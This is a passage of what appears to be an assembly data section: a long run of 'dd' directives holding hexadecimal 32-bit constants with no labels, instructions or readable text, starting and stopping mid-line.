59E6074Eh dd 0EE83F39Bh, 0A8466AE3h, 50879381h, 71ABAFC0h, 7B5B1404h dd 1FB09Bh, 35778AAh, 0CC008E45h, 0A790A07Dh, 30DD24A9h dd 0D3901B4Ah, 0FF00993Ch, 376F78C2h, 1CD647h, 88BAB8A6h dd 0E0D1ECEBh, 0D318500h, 59192E72h, 78BE3D2Fh, 0A9C11281h dd 3163A7D8h, 121ECBF1h, 2A4A4C93h, 8E4034B8h, 1E9C281h dd 3599943Dh, 0E42458D3h, 4C7D85B3h, 4E656A00h, 1620259Bh dd 86A801BBh, 9A46F28Eh, 9084503Fh, 5805259Fh, 16A8F8D4h dd 3F00D85Fh, 6492749Bh, 0C0E721Bh, 56E92CEEh, 5492B6A8h dd 423EDEF0h, 226F877Ch, 0E387E1EEh, 0E503687Ah, 0B0A086h dd 7ED5F331h, 99F2F423h, 405A2D00h, 174AA5E0h, 0EFEC58h dd 0FD459AABh, 829C63Fh, 4B2C0676h, 990FB8DAh, 68C0BF67h dd 71C4C7CCh, 1639183Ah, 87A7C92Fh, 0B641A309h, 13120066h dd 1F4EBC0Dh, 264731Bh, 37364CF2h, 40D14441h, 0B1E227A4h dd 0E4402E65h, 7E4E5440h, 1C855A1Ch, 0A641D47h, 406CE159h dd 0F009847Fh, 91EBF705h, 5C42B68Fh, 48AB3006h, 53C164h dd 0F379E2DDh, 0F8258428h, 0A828077Ch, 0C430C489h, 596F81AFh dd 24F90069h, 55CE2916h, 96042B91h, 9FBC35CAh, 5A59A080h dd 36B8C4A9h, 350342A5h, 79DF2253h, 743B0C48h, 0B2B04501h dd 0AE54997Ah, 0C57DD0h, 0ADBA6EC7h, 160C4368h, 6DC63406h dd 0B1D95Dh, 703DA7A1h, 622CF5Eh, 0E17D78E6h, 6C816800h dd 0ED98C109h, 0E25F0CFEh, 0B3794995h, 4048E600h, 0DA8921ABh dd 98BE2EB4h, 0C0171F9Eh, 845CDB87h, 7B24452Bh, 9042EC7Fh dd 0F8894A3h, 834D9AE9h, 0BCBD9423h, 80245FC1h, 58ABC331h dd 26491C11h, 3A4EE003h, 8551E80h, 2D88B787h, 0DD843C91h dd 0C0EB2805h, 51AFFF71h, 0C142D803h, 15414903h, 987CD2B9h dd 6F25A203h, 0E0A7E306h, 0B2824835h, 0CC4B9600h, 0EF22BB5Eh dd 0F453011Dh, 4F7929C8h, 28C050ACh, 5F00548Eh, 0C5C1391Eh dd 3E82ED08h, 0CA01067Fh, 0BF4C9019h, 277C3034h, 0A60E403Bh dd 0F0C044FAh, 2946CB02h, 40888583h, 71A07CD0h, 5CFC5050h dd 13912100h, 0A3B4BDDCh, 0BCC94C2Dh, 0A0B3EC50h, 2A504694h dd 0CB0852Fh, 0DC8C20D4h, 6121220h, 0DC4252AAh, 48B37F46h dd 706811F4h, 10092D9h, 46877C8Ch, 0F0696EB1h, 0A60E654Fh dd 6E039EC8h, 498D812Ch, 9C22A239h, 3E1D9D11h, 54CD00FEh dd 72BBFA8h, 0EA7301C3h, 0F3BBC502h, 0AC29C057h, 7B67F113h dd 3990F030h, 0BF512694h dd 5EDD0240h, 48814020h, 0C52A1AE9h, 0DC118CFFh, 0F4B9C8h dd 0EAC5897Dh, 28E1D6D8h, 15215B00h, 1BB426E9h, 1AA70248h dd 0C1EBA4A9h, 0C7EAD460h, 8878B840h, 0F00F066h, 5282BFE2h dd 0FD4B30h, 86D7CF9Eh, 503923E1h, 24A1722Ch, 0F4004824h dd 0F530BE1Bh, 7AAC2649h, 52805E6h, 0F9B42125h, 10A1E106h dd 1C0987D0h, 4CAB3CDDh, 78193EFFh, 81569700h, 0DC9398F2h dd 7B4F7CB7h, 96DB010Bh, 33037869h, 242C3682h, 7F709885h dd 0B25DE6A0h, 0FDA12040h, 0E51C8307h, 12A77DB8h, 480CD942h dd 6132033Ch, 0E922A18Fh, 0E7EE8C8h, 793A8CA0h, 0CC3D7C2Ah dd 0A483BE18h, 0B9454651h, 309004Ch, 29315A4Ah, 0CC88AAB0h dd 0E4A08D89h, 0C783D191h, 4FF52B60h, 0D6450E12h, 40523403h dd 0BE211C14h, 6CB09E88h, 68D3E12Ch, 48F57C40h, 0B3C93F24h dd 0E0AC9007h, 7E666050h, 60020FD9h, 2DC75851h, 8354E277h dd 0F69D18h, 93DB9159h, 0BF743F0Dh, 674C011Ch, 95510FFEh dd 4ED96715h, 0A0D57991h, 6AADD980h, 2B5C7CABh, 27E2739h dd 7DA695ACh, 58F86CDCh, 0B302CC74h, 0A743F9E1h, 8700A444h dd 0A3267DAFh, 0A08ED154h, 980285D8h, 7C0618ACh, 19C1293Ah dd 4BAC3754h, 63EECD1Fh, 1D7117C4h, 7F3DB7C0h, 7069598Fh dd 0B0909089h, 0EA0954C8h, 14AD614h, 9523BEFDh, 2C438AE8h dd 10E88D61h, 28209E9Eh, 4D90FECBh, 74828CE2h, 44351Eh dd 0EE05967Bh, 5EAD643Eh, 59BFC88h, 0BBBA5FF0h, 6C89844h dd 9C399668h, 10A38209h, 17265CA8h, 496787D6h, 4413E098h dd 0F7EC5590h, 0B15C5605h, 6480C115h, 93B8DDEAh, 17DB0058h dd 712BB364h, 4876F726h, 85612960h, 0AA0F60DBh, 9E220A2Ah dd 0E9A2890Ah, 53056C2Bh, 848B3B03h, 0EF523900h, 738A6DF4h dd 4FA6921Dh, 620B2F40h, 94D9EDCBh, 7C51800Ch, 50F2833Ch dd 0CCCA2A00h, 65664A88h, 0C83E003Ah, 353D099Bh, 98508F38h dd 1345DDF4h, 60F8D4A6h, 99BA2D10h, 3CF06026h, 0B2104651h dd 210FDC91h, 205F9CD4h, 4FEA619Dh, 0A77C0EF0h, 0AE063199h dd 0B4A1D129h, 86031009h, 5AC4A8FDh, 28E005D6h, 0CCE1CA2Eh dd 781B5E60h, 1EB8CCC0h, 0F267029Ch, 0E0A03780h, 9556BE71h dd 6BE6D8F8h, 0D3F7C400h, 30ECE955h, 329E24A7h, 8814E51Ch dd 0C2008C58h, 52B24F69h, 0D2D133h, 2F895AA0h, 1E41EF08h dd 841C6849h, 5CCDA9FCh, 544034C1h, 0B2B5D95Ah, 0E2620224h dd 9A56CA04h, 4E2B1EE0h, 8CAEDF1Dh, 0D5C5D800h, 132128EAh dd 42136E6Dh, 0F97B661Ch, 2F846C68h, 1687960Ch, 0DFA92Ch dd 20C1E7E2h, 4E9EDA61h, 81583007h, 0F330E9E1h, 1825801Dh dd 98F8D0A8h, 0DF8828B7h, 0BCD4A87Fh, 497C1F21h, 567A429Ch dd 0D85002A4h, 0AA972C1Ch, 423C690Eh, 402F995Bh, 74302116h dd 0F05C00BAh, 750186B7h, 0C21CBC08h, 1C59A3E2h, 35E45B34h dd 0FFD83B13h, 0C7DF409Dh, 1050A9FEh, 601C2F1h, 9D590A60h dd 1EC45184h, 3E2E5F89h, 940219FCh, 70E62103h, 6D1E258Eh dd 7158C6F8h, 3298158h, 17DD50A8h, 3800531Ah, 1C9E76EEh dd 645E59h, 69C60323h, 0EADA84ACh, 0F19ED01h, 5B6C0AD8h dd 9C936980h, 87CCADB9h, 40B910Ch, 0E1C06Eh, 2BD5708h dd 0E3CBB748h, 0D8387CF0h, 2EC4004Ah, 386199DBh, 9F7CA08Eh dd 5B680397h, 30AA1F18h, 4F0480B7h, 0A6B02329h, 58164B01h dd 90211072h, 44E3F194h, 8E52A80Eh, 80705C46h, 59D0215h dd 76B70180h, 8A4C1380h, 0ECB58443h, 52756403h, 1DDC4000h dd 347DF37Fh, 37381DF5h, 0AD807FA7h, 762D2235h, 0D72BA6CFh dd 890A9C0Ch, 0BB40B844h, 24D1F94h, 84E7A0FDh, 0E4A01EA3h dd 8C5F2C36h, 26C53E01h, 4D5E790Ch, 665F5F4h, 0B4C0208h dd 57F68938h, 0B9C0D377h, 0CB9C3D3Ah, 0FB17E1Eh, 240879A7h dd 1A3829Eh, 988F8E09h, 43380702h, 0B0307CBAh, 0D6159BAFh dd 0D00211h, 956A5B87h, 52B50Ch, 77371B27h, 1E7D7453h dd 0FE04DFE8h, 6B509DFDh, 7D566088h, 0C58202E9h, 24D6107Fh dd 12BEFC8Fh, 7434416Ah, 0F87E6095h, 0BD011ABBh, 918E7001h dd 9C300268h, 0E6E8C1B9h, 0C26FD0C6h, 58B11600h, 0A6A2004Bh dd 0E94A7284h, 0B4A4DFE3h, 0C7F14C06h, 389A5DCh, 16449B9Fh dd 0D4888514h, 840001C6h, 0FE9E6C3Ah, 0A6779CC5h, 966A0094h dd 8DBD7914h, 10E8891h, 0A2C5772Bh, 4089D96Dh, 0E16C7424h dd 4CFF8C50h, 9D751E19h, 0F4D333h, 0DE6187BEh, 0AB0A0AD1h dd 88E51701h, 20101589h, 4CC4949Ch, 3C877A76h, 0F9801773h dd 70EA56E2h, 68A6EEA9h, 78937901h, 6C11FCC7h, 5400A026h dd 185CD880h, 743159BDh, 55E0A0C8h, 0F4DA9D70h, 14531292h dd 5C1840E8h, 8B34A6D8h, 94877701h, 0FCCEDF6Bh, 6893DC51h dd 0B0ADB300h, 578A280Fh, 0C1018C20h, 0B56400EEh, 44B9196Ah dd 0E55748D3h, 360D12BCh, 0B41F1820h, 0A7CC0012h, 347E7207h dd 0E4004878h, 0B741D0ACh, 3ECDDDF8h, 4781EDBBh, 367224DBh dd 7707D06Fh, 808E90C8h, 0CB3959D9h, 0A900A393h, 1976AA5Eh dd 3BE4E0C8h, 7F03DDC4h, 0C0694E08h, 4A48E907h, 9A84C2D5h dd 5C71B080h, 0DACC0610h, 598D6C73h, 0D85CA00h, 52B0A1E1h dd 5DF41646h, 84E702FDh, 446F0BBh, 236C0B50h, 3CC91D00h dd 39DA0196h, 7B11FE2Eh, 5138009Bh, 0C628E641h, 1518CB57h dd 8991F3B7h, 0C00A4C01h, 8560988Fh, 0A661B474h, 314F648h dd 0ED155CAFh, 847006FAh, 0A9889401h, 0A89650Eh, 29572E2Eh dd 0C70019E5h, 50461ACEh, 0A574EC00h, 6786BB27h, 76B30026h dd 1F468704h, 1614F4A9h, 1BB80ABEh, 92A674C2h, 3DC4475h dd 5955BB3Fh, 26D35032h, 4C4A39B9h, 9400B258h, 96A50668h dd 9945C6E4h, 72003E60h, 26ACB38Bh, 5D549384h, 0BC2C6A6Ch dd 3880348Ah, 0DE27301Fh, 1EBECDAh, 0A8AA93ECh, 0EAC6EA40h dd 0BB00F844h, 94233B14h, 24E28517h, 6ED87E53h, 651872Ch dd 4ACA1D07h, 64C0B614h, 532DB0FAh, 9D099039h, 7CA15111h dd 0C025EB03h, 0A105C121h, 26C287Ch, 24368040h, 0EC6496h dd 0E9579B97h, 0E66BCB56h, 0A7D421C0h, 0EAA3FA8Bh, 0BA3A0020h dd 8A82AF62h, 24006D32h, 4D3F28F7h, 4C0E6181h, 898A04F5h dd 777996E8h, 51DC5A8h, 0F06024Ch, 0E4A17A14h, 31E92B84h dd 0C5FC0CC8h, 9014812Ah, 0C6E0010Eh, 0FCBD6211h, 5C4C2Dh dd 0E46F2488h, 0D094B4E2h, 0A6165CF0h, 8844839Bh, 6C40532Ah dd 293A14F2h, 0BB91BC13h, 0D2F8D804h, 18B5600h, 99C0949Dh dd 9C1CE498h, 24C50A6Ch, 0F46AE0h, 0D94CBBEBh, 4A240B6Bh dd 0BC86980Ch, 0E6389149h, 0D29C026Fh, 5D5A7C87h, 43A84F40h dd 9DB7261Ch, 0EC7B408Ah, 0F093A2C5h, 7CB3C0AEh, 0C51E001Ch dd 0E3F1DB08h, 0D3992F5h, 0C05CCC20h, 0CB34AADDh, 72C41476h dd 0BBCB849Fh, 57060094h, 26CE14F3h, 75881EF0h, 0AC213A2h dd 80F49910h, 28C54978h, 2200C386h, 6163AF1h, 73A5BEC1h dd 7DA62B25h, 20129694h, 9B1E3798h, 0B8634900h, 80F37DC4h dd 13C900ECh, 7C9103FAh, 0B503683Dh, 0EA2B24B2h, 969903CCh dd 37D3E470h, 0B1E8FCE0h, 0E55B0D00h, 0F65AEECDh, 9AFEE57h dd 64747363h, 109798B9h, 0FCC16985h, 5C0B07F4h, 906EA0C0h dd 22E07995h, 0C7095F05h, 90329EF9h, 0A66701C0h, 90A90052h dd 0CB50002Dh, 8B0F1282h, 210007F8h, 0B6BB83DDh, 90F77E61h dd 0E8A3486Ch, 9BEA6F81h dd 0A1DAC0FCh, 2209D9F1h, 0BC5D17FCh, 0BFF0D820h, 0FDFF01Dh dd 75FFA8D6h, 73A480A0h, 20027AB9h, 0BC645A78h, 7C704816h dd 0EFAC00E1h, 0FA2DF427h, 0B90F78D0h, 20D33BF2h, 0B31BEB55h dd 3ED1D38h, 67D1847Ch, 0B56C9114h, 3550D80Dh, 11B19D07h dd 0DFE06EEBh, 39BA78F2h, 71B3C27Bh, 32F0E969h, 900B2DA8h dd 0B098492Eh, 58F2010Ch, 0A58AE4E1h, 40B79D94h, 44296156h dd 49005819h, 3BBCD385h, 5C138FFDh, 0F92A83Fh, 9FC0D298h dd 7E4859E0h, 7170BA09h, 56BC0293h, 0D288002Fh, 12260EFDh dd 0F7800858h, 5FFAB526h, 5DC617EBh, 9D9408B4h, 16F2560h dd 0B90C8053h, 0C06F2089h, 80FD5C4Fh, 0BAC82200h, 296017C7h dd 4347409h, 0B4656795h, 5DD0CC5Fh, 1C56C4Ch, 89F525C0h dd 0E4250A37h, 97D4C80Dh, 7E6C0757h, 0E00D9CE9h, 48ECF24h dd 0CA02BFEEh, 9EC4B5ACh, 54CCE6h, 0FFBC7FB2h, 0C31F1235h dd 0D0A5B0B0h, 8D7E892h, 0D0409490h, 0F9BC001Ah, 8E74C048h dd 48A21E1Dh, 0A6832893h, 927CDFE0h, 75149400h, 0C0083E82h dd 9057F4E1h, 0C3E00116h, 0C480A25h, 7C48A458h, 0B05E5742h dd 499D0280h, 547CA49Eh, 1F03F4D2h, 0C0A7C5AFh, 7BB2EB65h dd 54B019FAh, 3D57D211h, 0A04BB902h, 14480B6Ah, 3A0024A8h dd 37E2847h, 7C01A1h, 0AEB3B8B7h, 0EAF15359h, 58958F02h dd 0A572C3CCh, 388261B0h, 80EC4668h, 0BE1D228h, 0E8DE8B2Dh dd 0FE019FD0h, 23D0BBE7h, 5876EFE6h, 6FB910h, 53411952h dd 0E89BF5Ah, 0DF8DC999h, 7E4E0420h, 0F112A871h, 4049BE14h dd 0CA68B1C7h, 928D38E0h, 84162EF0h, 0BB8940B0h, 68781F75h dd 7E0BEFEAh, 8ED12B47h, 0E2D78074h, 0A49C7B34h, 0BD151464h dd 750B20A4h, 0B494EA4Ah, 8938804h, 8808B44h, 91DAA5CBh dd 0C5011ED0h, 0D1E82E61h, 50906C40h, 0B95D8FD4h, 0A5B64400h dd 7622601Bh, 6A2FE96h, 19A43A0h, 2F2E98ACh, 84E14889h dd 801487A3h, 0A16FADEEh, 1001E92h, 523A40D8h, 0A27DC3EEh dd 158806D8h, 5420091h, 9C5090AEh, 4C92030Ch, 0C8D42100h dd 0FC352034h, 97A007BAh, 0E317BDB2h, 80B43766h, 8E77F58Ch dd 0A6972E80h, 0DCC52E80h, 886C45A4h, 2D0E466Ch, 402167BCh dd 0D3D6E55Ah, 590B138h, 40741479h, 5D3A23ACh, 1376622Fh dd 7B072F8h, 0C5099800h, 9D10249Fh, 8B4624AAh, 4F1E0888h dd 8E09743Dh, 3084E62Ah, 248B4900h, 59FC4ADh, 0D58C88h dd 4DAEEDFCh, 0B124015h, 0A44AC63Dh, 0B10048BCh, 0EB857853h dd 511E00B4h, 5318F84h, 0B6164B8Ah, 401B1689h, 7BA1BFB1h dd 11A8D361h, 0EFD409E5h, 90896436h, 0D3B2C018h, 0B54F7A05h dd 40C09D8Dh, 9884E20Eh, 5C82172Ch, 8CC31393h, 91404910h dd 707C2Fh, 46E8C09Eh, 0BE3F2AEBh, 623B2800h, 7B25B0D6h dd 4C80BA71h, 29FC4C6h, 26465A27h, 41CF5C60h, 439B14Ch dd 85FE865Dh, 990D949Ch, 908A0F5Ch, 0D92F2143h, 8E7CE088h dd 0FA68EB00h, 0A3F0ABBFh, 0BACB03EAh, 0E2614138h, 9D01F975h dd 0AF8D6E56h, 2FF43596h, 0C2E09CB4h, 842F88F2h, 6A40596Ch dd 7A295F3Fh, 46A2E600h, 768F4DDFh, 294C9050h, 6CCD0C6h dd 71C88116h, 93300C58h, 402CE100h, 50D6E403h, 0A40C11h dd 73430A66h, 36618A99h, 0A30C6494h, 835188h, 0DEE2B430h dd 0B3920471h, 595C0301h, 0D83B1DBDh, 9CEA96D4h, 0B494110h dd 4CC072E9h, 1C5D0334h, 0E5E69803h, 91676B82h, 0E4706F88h dd 4307D0Ah, 0EAFAC2BEh, 9828DC2Fh, 531B6A10h, 2E55407h dd 8613A09Eh, 0FF21D93h, 824D18E0h, 0D2C58230h, 0D0F84B8Bh dd 3CC633BCh, 0B40A9E20h, 40B09A6Ch, 9054C38Ch, 0EA452B00h dd 24DC5C04h, 70183F02h, 0BB0018C8h, 0B4969C44h, 0C5075E15h dd 74EC4DBh, 0AE940C87h, 0D6C42497h, 301018C9h, 0A6375Ch dd 0A9D6336h, 0D51F1C9h, 0CF004CECh, 9985C889h, 4E1888Bh dd 0C1652A3h, 5510A07Ah, 0C03C1948h, 17018A5Fh, 1559C492h dd 4080E4C9h, 80B15A38h, 98F0C7E5h, 62C854h, 4B3545B0h dd 0FEA9C1ACh, 7100FD73h, 0C9AB92FFh, 0BB5612h, 0F90347F2h dd 2D05B41Eh, 84849D5Dh, 0D8D895AFh, 42940EB0h, 703F6C8Fh dd 13F02889h, 85F81C13h, 4C77E400h, 504882DFh, 2D7DDC9Dh dd 7880E23Ah, 54FE9C90h, 7E3D6D04h, 0A490016Ch, 0E70DE4h dd 68164FE8h, 0C410640h, 0F3167DF4h, 2C61558Fh, 0C611BF16h dd 2D1862D6h, 16818E5h, 0A1966025h, 7444D3E6h, 64408C9Eh dd 2AB38FEh, 1ADE63E1h, 64D1C235h, 2BFC7400h, 1C5073DBh dd 34227BBh, 788128F1h, 0EAF809C5h, 0C8F21C98h, 0FD4E0105h dd 9480C541h, 13E596F3h, 254689DDh, 6ABC9C98h, 804CBC48h dd 9DAD45DEh, 4F4D0090h, 47AC325Dh, 0F80F2E5Ah, 2158D43h dd 59774556h, 3A4AAC98h, 263BE407h, 0AC14EB0Eh, 0A975E8E2h dd 0F14FD809h, 5288585h, 0F44808E6h, 12B65306h, 3E20D935h dd 0C0B4C26h, 0E1075C80h, 0EC9C61A0h, 0EEF002C3h, 5C3DE851h dd 0EEA0D41Dh, 9E0E70A3h, 60529DC3h, 0F93BC8AAh, 3DFC4878h dd 0F860ED00h, 0EEC4E33Ch, 1F52A009h, 0BEC8E31h, 9B84A2Bh dd 116C2BA8h, 83D7498h, 0E8808B88h, 803251F2h, 4D9E07A0h dd 0E3C52BDBh, 80D5F949h, 0AA9C0828h, 0CBBA3014h, 7824A098h dd 0C8181C1Ah, 40E15216h, 0D17EFC14h, 0B4266730h, 5C1198E6h dd 5A1ABC07h, 0E08E101h, 8413C0DBh, 21C85Ah, 0C41405F0h dd 72B044B4h, 30D0532Fh, 38E1DFDh, 776206E1h, 5A02FE23h dd 0F9CA4389h, 0B6EC78EDh, 14E26F2Ch, 2E005310h, 0E2BB9D3h dd 0A6E13384h, 16242160h, 2A00EC1Fh, 0DD428A58h, 0B7E24Ah dd 1953C68Eh, 753EE952h, 0B9665F00h, 6BB2EF51h, 8E5B3DC5h dd 0BBE4444Eh, 0C344A46Ch, 1D211003h, 0D8A54382h, 0E17E03Ch dd 0CBAC532Dh, 7C90E57Fh, 64B49B01h, 15B13647h, 8C68C90Ch dd 6FF10BB0h, 83922117h, 49C65000h, 84E80Ch, 0E2652B7Dh dd 30136FBFh, 0A905F5F6h, 0BAF861AAh, 93F483h, 0B7022010h dd 12457B26h, 4AEFF1Dh, 8EA3BB80h, 662910h, 401B15FBh dd 0DDA7D54Ch, 0A13CF418h, 71D7A908h, 2BB500B3h, 4CC889Ch dd 101AC83h, 0D5C1A769h, 28804724h, 3023FAAAh, 0AE07DDA4h dd 3C98E1B6h, 1BA7053h, 0C2FE96AAh, 0DCA384A9h, 61CABB54h dd 0E20F5C35h, 6FC10071h, 4B4D07h, 3A9DDFECh, 0A610B37Eh dd 3B819814h, 0EC007E1Ch, 0BFE64922h, 1FEE7Bh, 0C73EF0Ah dd 0CE42CF3Eh, 0EA8E801h, 5F94D228h, 0A7607DE5h, 2B0F0145h dd 6BB09CEAh, 174403Bh, 21004734h, 6FFB58ACh, 348D5C3h dd 0CE8A1C2Bh, 29030E3Bh, 397FAB81h, 55479856h, 10450030h dd 0BCEB5FE6h, 1AE8CCF1h, 0ACE84314h, 4AD5CEB4h, 2A8394E2h dd 0B26A24h, 31628A51h, 3A6C0D94h, 0E6191300h, 0D8F6429Dh dd 0DEBF03FBh, 3EB7AE3h, 6C1E41FEh, 0F1C0C522h, 8E688F3Dh dd 97B900ECh, 0A31E48C4h, 3778CE77h, 0D829D515h, 0EA1A00E8h dd 21FC5538h, 465D1F79h, 664AC1A4h, 0FC39BE16h, 61C05E03h dd 0E84E7899h, 0DDAE012Ah, 0F230BC61h, 0BD58BA4Bh, 0D49690A1h dd 0A83B3073h, 0EE4F98C9h, 8AD6AB1Fh, 0DC110CE4h, 0BA714307h dd 13DAF23Fh, 0EF01404Ch, 546B12A7h, 21709065h, 0A8B0078Ah dd 60D70CBCh, 8211BBA2h, 870968C8h, 4C16341h, 5CD880CFh dd 810FA855h, 0A3C26540h, 0A843AB27h, 0AC7DF779h, 869090A0h dd 0D7100290h, 6A145F34h dd 9612E9C0h, 0D4D53Dh, 13C1D631h, 0C07BFA08h, 7301DDC0h dd 3C000733h, 8D290268h, 0FCF225h, 0D905E3E2h, 0C523D2FAh dd 0A6B72712h, 0B4B27004h, 0A4AC2124h, 0DC1BC462h, 7628611Dh dd 594245C0h, 16DCE9Eh, 5737D9Ch, 5352EF29h, 3398F4B0h dd 9912EB4Bh, 1C1113A0h, 47222Ch, 0AD5EDB45h, 36B19DAFh dd 0FC0A237Eh, 80F71E66h, 0F5DA9061h, 0A673D180h, 0F31732EFh dd 0D52248h, 21CE9205h, 1081CA9h, 0AF3ABE20h, 880F01D0h dd 80B2ADD0h, 843B408Ah, 7F60DAA1h, 0FAA5D151h, 2F2C1864h dd 289128A4h, 14211F01h, 953747B2h, 0D5CCB1E7h, 0E8D1ACF0h dd 0C1A26127h, 81334E40h, 0C5D03439h, 0A445B51Bh, 8924D203h dd 90B9F3EEh, 0A01E672Bh, 5064B444h, 0B8994C3Bh, 0F2DC010Eh dd 1BA34787h, 3CB04A63h, 0C38B00C5h, 99D1A5FBh, 0B9C7097Ah dd 5CA728FAh, 801CE45Fh, 0A979EBC2h, 9F7E513h, 89982900h dd 24AD152Eh, 6024C1FDh, 2BD58CA8h, 89B8B030h, 2648BA91h dd 911C1FD3h, 90D507A6h, 0E0205995h, 13D7B3EDh, 601EBAF1h dd 39D53F14h, 0E7D3D44h, 8878893Bh, 0A705B3C7h, 4204AD4Dh dd 602EAD88h, 14FEEBA2h, 96770043h, 325E7518h, 2714F716h dd 0C29808B0h, 20A89255h, 9B9EB3DAh, 4817500h, 95D00819h dd 0D8AB6964h, 0F5285802h, 320C8509h, 89ACD042h, 780C44AEh dd 0D8FA049Ch, 0D05E6649h, 20C0A124h, 0DB29A8A8h, 0D41D6492h dd 2B00E94Ch, 0EEDFBE8Dh, 0EC59282Ch, 37C7FECh, 29B5E6B1h dd 3007B3D9h, 94FF1443h, 283D077Eh, 9D4B9250h, 901B0018h dd 6F5BF502h, 5309BCD1h, 1BAA14B8h, 6AB2A088h, 0E106009Ah dd 216863DAh, 0A421EF0Eh, 8A188F6h, 2D565540h, 50477F6Dh dd 41EB0B9h, 2CDBE57Ch, 3B09C101h, 0F99C50BAh, 1B02C786h dd 4DFD393Eh, 6BDC80C1h, 2CDDC2A4h, 608412DCh, 0B818F047h dd 0D7CAA0Fh, 34A65C6Eh, 6200B8A0h, 6F4F3684h, 50D08A74h dd 4152A469h, 1EF034B9h, 0A379AA60h, 12346790h, 22734008h dd 0A44CD6B4h, 2A124542h, 0B09C7125h, 2F3501E2h, 5BE9F980h dd 0E75269Bh, 0D069663Eh, 7D3C658Ch, 0B23F00AEh, 2DE492ADh dd 0A0BC0FD2h, 904E7FB5h, 50904EA9h, 0C967D5D6h, 0B08A2581h dd 2A628460h, 0C071031Bh, 76AC82C8h, 0C01417C3h, 5820D6FFh dd 3A9BE020h, 786600D2h, 517D848h, 48993547h, 391530A6h dd 4874287Ch, 0D0193813h, 80B50C08h, 5F020961h, 35006056h dd 0E37B11AAh, 757CC81Dh, 389229h, 0A19F6F6Bh, 0C4AEE817h dd 522A110Eh, 655EC349h, 0C8C57Eh, 3747C64h, 973C9ABBh dd 5A8E1A5h, 7C00C94Bh, 54B3DB1Eh, 1385AFFBh, 413E282h dd 4B74F68h, 7C98ED55h, 0B11A3029h, 0CD988B58h, 5E00C070h dd 75BF87CAh, 5F24C3h, 3CF9217Bh, 34991BABh, 9F78A470h dd 0E92608C0h, 0FAF4753Dh, 0B2D400D3h, 1DA734DEh, 770FB07Bh dd 602E409Ah, 9BA4AD25h, 201CA012h, 8DFA9h, 98772C2Fh dd 48746B1Eh, 3C7C8400h, 93071620h, 45390AA9h, 0A04B2Fh dd 27A5F003h, 8D00B71Fh, 784E70E9h, 38990E9Eh, 17006E6Fh dd 650133D4h, 94183E41h, 0AB6950B4h, 8008D87Dh, 77FCB08Bh dd 0AEA6A006h, 0D93B19h, 572EEA1h, 556C53BAh, 20142300h dd 4AC15DF2h, 1CD518B4h, 0F5A65151h, 0FBD0F800h, 0D0AAE7Ah dd 0ECE30160h, 6F2FA862h, 75A5E06Ah, 0B97DBB39h, 6E368089h dd 0C8DD7317h, 0A3C90E5Bh, 0FB0FE9Eh, 2046AC3Ah, 0A4C1BA23h dd 0FA8E00EFh, 98F8EE99h, 0FE002980h, 46AD36E3h, 0A83A9E3Eh dd 381A5FA4h, 6F3E63DFh, 94ADB11Dh, 0D7299E7Dh, 0F08A9984h dd 5EBCC8A4h, 9E44C1C0h, 0C47377A0h, 6FDBF0h, 0F530E2AFh dd 3E5402E1h, 0CD293968h, 6AE5E0A7h, 50AF83A0h, 12E869A2h dd 0E977AE65h, 2075C600h, 376D0D52h, 0D5D30071h, 50B611Dh dd 0D83017BDh, 0ABFD499Ch, 29B624BEh, 63AF07D6h, 608170A2h dd 3000A324h, 476F28FFh, 3A75A69Eh, 1CC8CB46h, 68418280h dd 8F1F4350h, 7A0FDBh, 0DEB3061Dh, 442B071h, 4FA09B56h dd 46349258h, 0ACCA2E20h, 5E5F0016h, 864E0CB9h, 640E9909h dd 20DF8FC3h, 0FE30B041h, 0B64F0D0Ah, 480A78DEh, 0B6B8473Ch dd 51D63935h, 37BE6804h, 7E401841h, 41B3F4BAh, 0DBF9230Ch dd 85F1B5h, 0C7F5031Ch, 8AB51F8h, 74389549h, 50A02D24h dd 13522564h, 0AC1D03FFh, 2102B81Fh, 890A4776h, 4AFE68h dd 4672C2F4h, 9CAC7973h, 0BA1BF800h, 236AAD02h, 15353039h dd 88250CB1h, 693DCB30h, 0C65E5Dh, 0DE403AA3h, 0A9D73943h dd 6CC5D900h, 65192B8Eh, 3EA8019Bh, 85DF714Eh, 5BB041DDh dd 77AC4C05h, 3007D300h, 6A0241ECh, 970003Ch, 3FD945F9h dd 0FD0E0193h, 0E2D86DB2h, 90C20510h, 72BF8B8Ch, 95E104D5h dd 8826A9F2h, 170A0530h, 94931BAEh, 2D120680h, 121A0DE8h dd 967639h, 169B9AA4h, 0A8A407C8h, 79E89300h, 5D664F46h dd 9C892C9Dh, 5902330h, 1D941FAEh, 40E8A42Ch, 6509DF9Eh dd 0BFC43501h, 5607DB0h, 70CEC40h, 9A2B3139h, 0F24A0FB9h dd 4E49346Ch, 0EABE1EB0h, 46042153h, 88CE7EFh, 0B87A48F3h dd 31A97D06h, 1C00E92Fh, 1D5DF7B5h, 12C348FFh, 30FBB1FDh dd 52B994F4h, 5AF8A1C3h, 0F2DFD9D5h, 5DA0C06Bh, 600EB12h dd 0FB6E9FD2h, 5339552Dh, 5301F824h, 832BBFEEh, 0CAE8DF72h dd 0A0006B1h, 8F7D7567h, 0FF44631h, 0FFC37863h, 0A8E62098h dd 9F934A0Bh, 0D207804Eh, 0CA63E0Fh, 3878F23Ah, 0B03A940h dd 0AD7BD34Ah, 4C98D02Ch, 4D738Ah, 0A715D410h, 0CF7406ECh dd 3D63B400h, 48E369EDh, 52BB00E9h, 20A6EB10h, 6000E519h dd 0ADEADA08h, 0C0D6F236h, 210EAF61h, 0C3007B02h, 53E67E7Ch dd 0C07AEFF4h, 7705FA21h, 10E6BFECh, 6C175900h, 0D8D10460h dd 0F46415B0h, 0B007076h, 378E9EAh, 5E143E98h, 84C9B2h dd 132F4353h, 9067CB2Dh, 65F10E98h, 3DC3C116h, 29154D8Ch dd 789CC3EFh, 0C1E0051Ch, 0B5F65D40h, 7D69EEh, 0B0E16ED1h dd 0AC995B6h, 0A9D70F30h, 15C1BEAh, 0E4B1DAEDh, 0D29BCD48h dd 0FE22B4A0h, 40003D8Ch, 861B55B8h, 0FB05E771h, 0DCB9A16Fh dd 0CA29CC31h, 7885A074h, 0D4200206h, 315B77Ah, 8CC867E2h dd 0B100D969h, 391FE5E4h, 7BB1BCAh, 935814A0h, 6A4B0024h dd 52120319h, 0C40CBEEh, 2A56F25Ah, 0CFFE11h, 635CDA71h dd 0EF5B5721h, 3779BB12h, 9ACC0440h, 0D35C6h, 992A7C9h dd 0DA6A73C4h, 648B79C0h, 3E57AD32h, 35BD05E0h, 3B10B480h dd 7B7CB7ABh, 6AC85C50h, 0B0093902h, 80437322h, 